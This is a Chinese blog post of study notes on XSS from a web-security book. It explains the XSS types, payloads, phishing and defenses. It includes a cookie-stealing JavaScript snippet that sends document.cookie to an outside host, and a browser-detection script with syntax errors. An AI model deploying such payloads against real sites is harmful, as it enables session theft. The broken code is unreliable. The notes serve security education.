《白帽子讲Web安全》| 学习笔记之跨站脚本攻击(XSS)

第3章 跨站脚本攻击(XSS)

1、XSS

跨站脚本攻击,英文全称是Cross Site Script ,本来缩写是CSS ,但是为了和层叠样式表分开,所以在安全领域叫做'XSS'。

XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS根据效果的不同可以分成如下几类:

  1. 反射型XSS,只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS"(Non-persistent XSS)。

  2. 存储型XSS,会把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。一个常见的情景:黑客写下一篇包含有恶意代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意的脚本保存到服务器端,这种XSS攻击就叫做”存储型XSS“。

  3. DOM Based XSS,从效果上来说也是反射型XSS。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

2、XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。

一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。Cookie中一般加密保存了当前用户的登录凭证,浏览器发起的所有请求都会自动带上Cookie。如果Cookie丢失,往往意味着用户的登录凭证丢失、换句话说,攻击者可以不通过密码,而直接登录进用户的账户。(Cookie的“HttpOnly"标识可以防止”Cookie劫持")

列如:XSS窃取Cookie

var img=document.createElement("img");

img.src="http://www.myhack58.com/log?"+escape(document.cookie);

document.body.appendChild(img);

这段代码在页面插入了一张看不见的图片,同时把document.cookie对象作为参数发送的远程服务器。也将在远程服务器日志留下记录。

3、GET和POST的区别:

  1. GET请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL和传输数据,参数之间以&相连;POST把提交的数据则放置在是HTTP包的包体中。

  2. GET方式提交的数据最多只能是1024字节,理论上POST没有限制,可传较大量的数据。

  3. POST的安全性要比GET的安全性高。

XSS攻击后,攻击者除了可以实施“Cookie劫持”外,还可以通过模拟GET 、POST请求操作用户的浏览器。

4、XSS钓鱼

在“通过POST表单发消息”案例中,如果在提交表单的时候要求用户输入验证码,一般XSS Payload都会失效;此外如果“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password",对于攻击者来说也是不知道的。然而对于XSS攻击,对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上实施--攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证。

为了窃取密码,攻击者可以将XSS和钓鱼结合在使用。实现思路:利用JavaScript在当前页面上”画出“一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送到黑客的服务器上。

5、识别用户浏览器

查看当前页面的cookie:javascript:alert(document.cookie)

查看浏览器的版本:javascript:alert(navigator.userAgent)

由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。

参考:

if (window.ActiveObject){ //MSIE 6.0 or below

 

  //判断是否IE 7以上

  if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined"){

     if (typeof document.adoptNode!="undefined") { //Safari 3 & FF & Opera & Chrome & IE8

        //MSIE 8.0

     }

    //MSIE 7.0

  }

  return "msie"; //MSIE6.0

}  else if { typeof window.opera!="undefined") { //Opera独占

  return "opera";

} else if (typeof window.netscape!="undefined"){ //Mozilla独占

  if (typeof window.Iterator !="undefined") {

    //Firefox 2.0以上支持这个对象

    if (typeof document.styleSheetSets!="undefined"){ //FireFox 3 & Opera 9

      //Firefox 3

    }

    //Firefox 2.0

  }

  return "mozilla";

} else if (typeof window.pageXOffset!="undefined"){ //Mozilla & Safari

  try {

    if (typeof external.AddSearchProvider!="undefined"){  //Firefox & Google Chrome

      return "Chrome";

     }

  } catch (e) {

    return "safari";

  }

} else { //unknown

 return "unknown";

}

6、XSS攻击平台(有助于深入理解XSS的原理和危害)

Attack API :是安全研究员pdp所主导的一个项目,它总结了很多能够直接使用XSS Payload,归纳为API的方式。

BeEF:曾经是最好的XSS演示平台,演示的是一个完整的XSS攻击过程,有个一个控制后台,攻击者可以在后台控制前端的一切。

XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iframe的方式可以实时地远程控制被XSS攻击的浏览器。 

7、XSS防御

HttpOnly:浏览器将禁止页面 

response.setHeader("Set-Cookie","cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

输入检查:

目前Web开发普遍做法,是同时在客户端JavaScript中和服务器代码中实现相同的输入检查。在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、‘、"等等。如果发现存在特殊字符,则将这些字符过滤或者编码。比较智能的”输入检查“,还可能会匹配XSS的特征,比如查找用户数据中是否包含了"<script>"、"javascript"等敏感字符。这种输入检查的方式可以称为”XSS Filter"。在互联网上有很多开源的“XSS Filter"的实现。同时XSS Filter对语境的理解并不完整,还有对<、>等字符的处理可能会改变用户数据的含义。

输出检查:

在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS的攻击。

针对HTML代码编码的方式是HtmlEncode,它是一种函数的实现,作用是将字符转换为HTMLEntities,对应的标准是ISO-8859-1。

JavaScript的编码方式可以使用JavascriptEncode,它需要使用"\"对特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内部。

正确预防XSS:

XSS本质还是一种”HTML注入"。用户的数据被当作了HTML代码的一部分执行,从而混淆了原来的语义,产生了新的语义。

想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。

处理富文本:

网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。

在过滤富文本时,“事件”应该被严格禁止,一些危险的标签<iframe><script><base><form>等,也是应该严格禁止的。

在标签的选择上,应该使用白名单,避免使用黑名单。比如只允许<a><img><div>的比较“安全”的标签存在。

在一些比较成熟的开源项目,实现了对富文本的XSS检查。Anti-Samy、HTMLPurify(php)

防御DOM Based XSS:

在前端使用编码函数进行过滤。分情况对待:如果是输出到事件或者脚本,则再做一次javascriptEncode;如果是输出到HTML内容或者属性,则要在做一次HtmlEncode。

 

总结:XSS攻击防御从输入到输出都需要过滤、验证、转义。 

 

 

 

 

 

猜你喜欢

转载自blog.csdn.net/qq_42646885/article/details/95099155